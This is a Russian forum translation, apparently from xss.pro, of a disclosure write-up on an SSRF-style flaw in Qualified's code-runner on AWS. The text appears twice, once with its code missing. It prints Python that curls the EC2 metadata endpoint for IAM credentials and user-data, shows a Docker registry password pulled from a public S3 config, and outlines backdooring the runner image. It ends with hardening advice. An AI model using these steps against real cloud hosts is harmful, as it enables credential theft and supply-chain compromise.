Введение
Недавно я работал над небольшим проектом по выполнению ненадежного кода Python в контейнерах Docker. Это заставило меня протестировать несколько онлайн-механизмов выполнения кода, чтобы увидеть, как они реагируют на различные атаки.
При этом я обнаружил несколько интересных уязвимостей в движке выполнения кода, разработанном Qualified, который довольно широко используется, в том числе на таких сайтах, как CodeWars или InterviewCake.
Сочетание возможности запуска кода с доступом к сети и того факта, что инфраструктура работала в Amazon Web Services, приводит к интересному набору уязвимостей, которые мы представляем в этом посте.
Мы начнем с представления нескольких уязвимостей, которые я обнаружил в движке выполнения кода Qualified через одного из его клиентов, InterviewCake. Затем мы говорим о последствиях конкретной уязвимости: уязвимости SSRF в сервисе,
работающем на AWS. Я не буду описывать основы того, что такое уязвимость SSRF, так как по ней уже есть отличные ресурсы (здесь, здесь или тут). Одним предложением это уязвимость,
которая позволяет приложению инициировать сетевое соединение от своего имени.
Уязвимость
Если вы перейдете на страницу с вопросами в InterviewCake, вы найдете внизу страницы небольшую зону, где вы можете ввести и выполнить код.
Мы можем использовать следующий код Python для запуска любой команды bash:
Немного покопавшись, мы можем увидеть, что имя хоста меняется при каждом запуске и что процесс инициализации выполняется под следующими группами управления:
Основываясь на этих двух данных, вполне вероятно, что код выполняется в контейнерах Docker. Кажется, что у контейнеров есть доступ к Интернету, поэтому мы можем легко проверить их общедоступный IP-адрес,
например с помощью очень удобного сервиса IfConfig.co.
107.20.17.162
Если мы сделаем DNS lookup, мы увидим, что этот IP-адрес принадлежит AWS EC2:
// Для тех, кто не знаком с EC2, это услуга, аналогичная DigitalOcean, которая позволяет создавать виртуальные машины в облаке.
Эксплуатация
AWS EC2 имеет функцию, которая называется Instance Metadata Service (документация). Она позволяет любому экземпляру EC2 получить доступ к REST API, работающему на 169.254.169.254, который возвращает данные о самом экземпляре.
Некоторые примеры включают имя экземпляра, идентификатор изображения экземпляра (AMI) и множество других интересных вещей.
Поскольку наш код, кажется, работает на экземпляре EC2 (или, если быть более конкретным, в контейнере Docker на экземпляре EC2),
он может получить доступ к этому API. Посмотрим, что мы можем получить от этого.
Мы получаем следующий вывод:
Давайте разберёмся
AMI id
Это идентификатор AMI (образ машины Amazon), используемый хост-машиной. В нашем случаи он приватный - ничего особенного.
Security credentials
Это список ролей IAM, прикрепленных к машине. IAM (что означает Identity Access Management) - это сервис AWS, позволяющий управлять пользователями, ролями и разрешениями. Здесь мы видим, что к ней прикреплена единственная роль,
а не жестко кодировать ключи API AWS в коде вашего приложения. Мы можем запросить API, чтобы получить связанные учетные данные:
Используя эти учетные данные, приложение (или злоумышленник) может использовать API AWS для выполнения любых действий, разрешенных ролью
Это (еще один) сервис AWS, который позволяет легко запускать контейнеры Docker в облаке и абстрагироваться от того, как и на каких машинах они запускаются.
Теперь нам, очевидно, интересно понять, какой уровень доступа дают нам эти учетные данные. Если немного углубиться в документацию AWS, мы легко обнаружим,
что
Таким образом, это позволяет нам делать множество интересных вещей, включая создание кластеров ECS, удаление экземпляров EC2 из кластера, запись в журналы приложения и т. Д.
User script
Эта конечная точка возвращает определяемый пользователем сценарий, который запускается каждый раз, когда новый экземпляр EC2 запускается в первый раз. Этот сценарий обычно используется для базовой подготовки,
такой как обновление пакетов, запуск службы и, очевидно, иногда для хранения конфиденциальной информации (даже если это не рекомендуется).
Ниже я привёл интересные фрагменты сценария:
В последней строке утекает лицензионный ключ NewRelic.
Первые команды загружают файл конфигурации из корзины
что даже если содержимое корзины не может быть просмотренно, файл
Параметр
Это означает, что мы можем получить
Затем наш вредоносный код будет запускаться каждый раз, когда выполнение кода происходит в механизме выполнения кода Qualified, то есть:
Каждый раз, когда кто-то отправляет решение на InterviewCake, или на CodeWars и т. Д.
Заключение
Я сообщил о проблеме Джейку из Qualified - ответ был образцовым, и уязвимость была устранена за считанные дни.
Если вы запускаете приложение на AWS, важно, чтобы вы знали об API метаданных, потому что любой вид SSRF в вашем приложении может иметь драматические последствия.
Чтобы ограничить их, было бы неплохо следовать следующим принципам.
Обратите внимание, что проблема не относится к AWS; У OpenStack и Google Cloud, например, есть похожие проблемы. Однако Google требует, чтобы все запросы к его службе метаданных включали определенный HTTP-заголовок,
а это означает, что злоумышленник, единолично контролирующий URL-адрес запроса, не может получить к нему доступ, если не сможет выполнить header injection.
Дополнительные ресурсы, если вы хотите узнать больше по этой теме:
От ТС
Напоминаю, что эта статья явлеятся переводом статьи взятой вот отсюда
Если хотите больше статей по теме AWS, дайте знать.
(А лучше сами киньте интересующий матерала по теме в соответствующий топик)
Перевод:
Azrv3l cпециально для xss.pro
Недавно я работал над небольшим проектом по выполнению ненадежного кода Python в контейнерах Docker. Это заставило меня протестировать несколько онлайн-механизмов выполнения кода, чтобы увидеть, как они реагируют на различные атаки.
При этом я обнаружил несколько интересных уязвимостей в движке выполнения кода, разработанном Qualified, который довольно широко используется, в том числе на таких сайтах, как CodeWars или InterviewCake.
Сочетание возможности запуска кода с доступом к сети и того факта, что инфраструктура работала в Amazon Web Services, приводит к интересному набору уязвимостей, которые мы представляем в этом посте.
Мы начнем с представления нескольких уязвимостей, которые я обнаружил в движке выполнения кода Qualified через одного из его клиентов, InterviewCake. Затем мы говорим о последствиях конкретной уязвимости: уязвимости SSRF в сервисе,
работающем на AWS. Я не буду описывать основы того, что такое уязвимость SSRF, так как по ней уже есть отличные ресурсы (здесь, здесь или тут). Одним предложением это уязвимость,
которая позволяет приложению инициировать сетевое соединение от своего имени.
В контексте онлайн-механизма выполнения кода остается спорным, подходит ли термин SSRF, поскольку он специально разрешает сетевые соединения. Однако я решил придерживаться этого термина,
потому что демонстрируемая мной уязвимость применима к любому приложению, работающему на AWS, уязвимому для SSRF.
потому что демонстрируемая мной уязвимость применима к любому приложению, работающему на AWS, уязвимому для SSRF.
Даже если я говорю об InterviewCake в этом посте, я хочу прояснить, что на их стороне нет проблем с безопасностью, и что обнаруженный мною, скорее всего, не представляет для них никакого риска.
Уязвимость
Если вы перейдете на страницу с вопросами в InterviewCake, вы найдете внизу страницы небольшую зону, где вы можете ввести и выполнить код.
Мы можем использовать следующий код Python для запуска любой команды bash:
Python:
import os
os.system("my command")
Немного покопавшись, мы можем увидеть, что имя хоста меняется при каждом запуске и что процесс инициализации выполняется под следующими группами управления:
Код:
9:perf_event:/docker/f66e505ea723ef416db8932e64632d3c428ff094e6cd4348668e3d9e744d3341
8:memory:/docker/f66e505ea723ef416db8932e64632d3c428ff094e6cd4348668e3d9e744d3341
7:hugetlb:/docker/f66e505ea723ef416db8932e64632d3c428ff094e6cd4348668e3d9e744d3341
...
Основываясь на этих двух данных, вполне вероятно, что код выполняется в контейнерах Docker. Кажется, что у контейнеров есть доступ к Интернету, поэтому мы можем легко проверить их общедоступный IP-адрес,
например с помощью очень удобного сервиса IfConfig.co.
Python:
import os
os.system("curl ifconfig.co")
107.20.17.162
Если мы сделаем DNS lookup, мы увидим, что этот IP-адрес принадлежит AWS EC2:
Bash:
$ nslookup 107.20.17.162
Non-authoritative answer:
162.17.20.107.in-addr.arpa name = ec2-107-20-17-162.compute-1.amazonaws.com.
// Для тех, кто не знаком с EC2, это услуга, аналогичная DigitalOcean, которая позволяет создавать виртуальные машины в облаке.
Эксплуатация
AWS EC2 имеет функцию, которая называется Instance Metadata Service (документация). Она позволяет любому экземпляру EC2 получить доступ к REST API, работающему на 169.254.169.254, который возвращает данные о самом экземпляре.
Некоторые примеры включают имя экземпляра, идентификатор изображения экземпляра (AMI) и множество других интересных вещей.
Поскольку наш код, кажется, работает на экземпляре EC2 (или, если быть более конкретным, в контейнере Docker на экземпляре EC2),
он может получить доступ к этому API. Посмотрим, что мы можем получить от этого.
Python:
import os
def get_endpoint(endpoint):
os.system("curl http:/169.254.169.254" + endpoint)
print()
print("[*] AMI id")
get_endpoint("/latest/meta-data/ami-id")
print("[*] Security credentials")
get_endpoint("/latest/meta-data/iam/security-credentials/")
print("[*] User script")
get_endpoint("/latest/user-data/")
Мы получаем следующий вывод:
Код:
[*] AMI id
ami-246cc332
[*] Security credentials
ecsInstanceRole
[*] User script
aws s3 cp s3://ecs-conf/ecs.config /etc/ecs/ecs.config
aws s3 cp s3://ecs-conf/docker.json /home/ec2-user/.docker/config.json
aws s3 cp s3://ecs-conf/cloudwatch.credentials /etc/cloudwatch.credentials
...
echo "pulling latest runner image"
docker pull codewars/runner-server:latest
...
nrsysmond-config --set license_key=999b5f6[...]ac
Давайте разберёмся
AMI id
Это идентификатор AMI (образ машины Amazon), используемый хост-машиной. В нашем случаи он приватный - ничего особенного.
Security credentials
Это список ролей IAM, прикрепленных к машине. IAM (что означает Identity Access Management) - это сервис AWS, позволяющий управлять пользователями, ролями и разрешениями. Здесь мы видим, что к ней прикреплена единственная роль,
ecsInstanceRole, и поэтому она может получить доступ к учетным данным, прикрепленным к этой роли, с помощью API метаданных. Это механизм, который позволяет вам прикреплять роли к машинам, а не жестко кодировать ключи API AWS в коде вашего приложения. Мы можем запросить API, чтобы получить связанные учетные данные:
Python:
get_endpoint("/latest/meta-data/iam/security-credentials/ecsInstanceRole")
JSON:
{
"Code" : "Success",
"LastUpdated" : "2017-03-26T09:59:42Z",
"Type" : "AWS-HMAC",
"AccessKeyId" : "ASIAIR[redacted]XQ",
"SecretAccessKey" : "42oRmJ[redacted]K2IRR",
"Token" : "FQoDYXdzEOv//////[redacted]",
"Expiration" : "2017-03-26T16:29:16Z"
}
Используя эти учетные данные, приложение (или злоумышленник) может использовать API AWS для выполнения любых действий, разрешенных ролью
ecsInstanceRole. Здесь ECS означает EC2 Container Service. Это (еще один) сервис AWS, который позволяет легко запускать контейнеры Docker в облаке и абстрагироваться от того, как и на каких машинах они запускаются.
Теперь нам, очевидно, интересно понять, какой уровень доступа дают нам эти учетные данные. Если немного углубиться в документацию AWS, мы легко обнаружим,
что
ecsInstanceRole - это роль IAM по умолчанию со следующей политикой, прикрепленной к ней:
JSON:
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": [
"ecs:CreateCluster",
"ecs:DeregisterContainerInstance",
"ecs:DiscoverPollEndpoint",
"ecs:Poll",
"ecs:RegisterContainerInstance",
"ecs:StartTelemetrySession",
"ecs:Submit*",
"ecr:GetAuthorizationToken",
"ecr:BatchCheckLayerAvailability",
"ecr:GetDownloadUrlForLayer",
"ecr:BatchGetImage",
"logs:CreateLogStream",
"logs:PutLogEvents"
],
"Resource": "*"
}
]
}
Таким образом, это позволяет нам делать множество интересных вещей, включая создание кластеров ECS, удаление экземпляров EC2 из кластера, запись в журналы приложения и т. Д.
User script
Эта конечная точка возвращает определяемый пользователем сценарий, который запускается каждый раз, когда новый экземпляр EC2 запускается в первый раз. Этот сценарий обычно используется для базовой подготовки,
такой как обновление пакетов, запуск службы и, очевидно, иногда для хранения конфиденциальной информации (даже если это не рекомендуется).
Ниже я привёл интересные фрагменты сценария:
Bash:
aws s3 cp s3://ecs-conf/ecs.config /etc/ecs/ecs.config
...
echo "pulling latest runner image"
docker pull codewars/runner-server:latest
...
nrsysmond-config --set license_key=[B]999b5f6[...redacted...]ac[/B]
В последней строке утекает лицензионный ключ NewRelic.
Первые команды загружают файл конфигурации из корзины
ecs-conf S3. Используя инструмент AWS CLI, мы замечаем, что даже если содержимое корзины не может быть просмотренно, файл
ecs.config является общедоступным.
Bash:
root@kali:~# aws s3 cp s3://ecs-conf/ecs.config ecs.config
download: s3://ecs-conf/ecs.config to ./ecs.config
root@kali:~# cat ecs.config
ECS_ENGINE_AUTH_TYPE=dockercfg
ECS_ENGINE_AUTH_DATA={"https://index.docker.io/v1/":{"auth":"M30s[...redacted...]hV=","email":"deploy@[...redacted...].co"}}
Параметр
auth - это строка в кодировке base-64, которая декодируется в codewarsdeploy: somepassword (пароль был отредактирован) и позволяет нам войти в частный реестр Docker Qualified!Это означает, что мы можем получить
codewars/runner-server образа Docker, посмотреть, что внутри, включить в него бэкдор / любое вредоносное программное обеспечение и отправить его обратно в реестр. Затем наш вредоносный код будет запускаться каждый раз, когда выполнение кода происходит в механизме выполнения кода Qualified, то есть:
Каждый раз, когда кто-то отправляет решение на InterviewCake, или на CodeWars и т. Д.
Заключение
Я сообщил о проблеме Джейку из Qualified - ответ был образцовым, и уязвимость была устранена за считанные дни.
Если вы запускаете приложение на AWS, важно, чтобы вы знали об API метаданных, потому что любой вид SSRF в вашем приложении может иметь драматические последствия.
Чтобы ограничить их, было бы неплохо следовать следующим принципам.
- Не храните конфиденциальные данные в своем сценарии подготовки (то, что AWS называет User Script).
- Если вашим машинам требуется прикрепить к ним роль IAM, дайте им минимальный набор разрешений. Вы можете использовать симулятор политики IAM, чтобы убедиться, что ваш набор разрешений работает так, как вы намереваетесь.
- Если вы не используете Metadata API, используйте брандмауэр или разрешите доступ к нему только пользователю root (пример с iptables).
Обратите внимание, что проблема не относится к AWS; У OpenStack и Google Cloud, например, есть похожие проблемы. Однако Google требует, чтобы все запросы к его службе метаданных включали определенный HTTP-заголовок,
а это означает, что злоумышленник, единолично контролирующий URL-адрес запроса, не может получить к нему доступ, если не сможет выполнить header injection.
Дополнительные ресурсы, если вы хотите узнать больше по этой теме:
- AWS vulnerabilities and the attacker’s perspective, от RhinoLabs
- EC2’s most dangerous feature
- Metasploit module для сбора метаданных экземпляра со скомпрометированной машины
От ТС
Напоминаю, что эта статья явлеятся переводом статьи взятой вот отсюда
Если хотите больше статей по теме AWS, дайте знать.
(А лучше сами киньте интересующий матерала по теме в соответствующий топик)
Перевод:
Azrv3l cпециально для xss.pro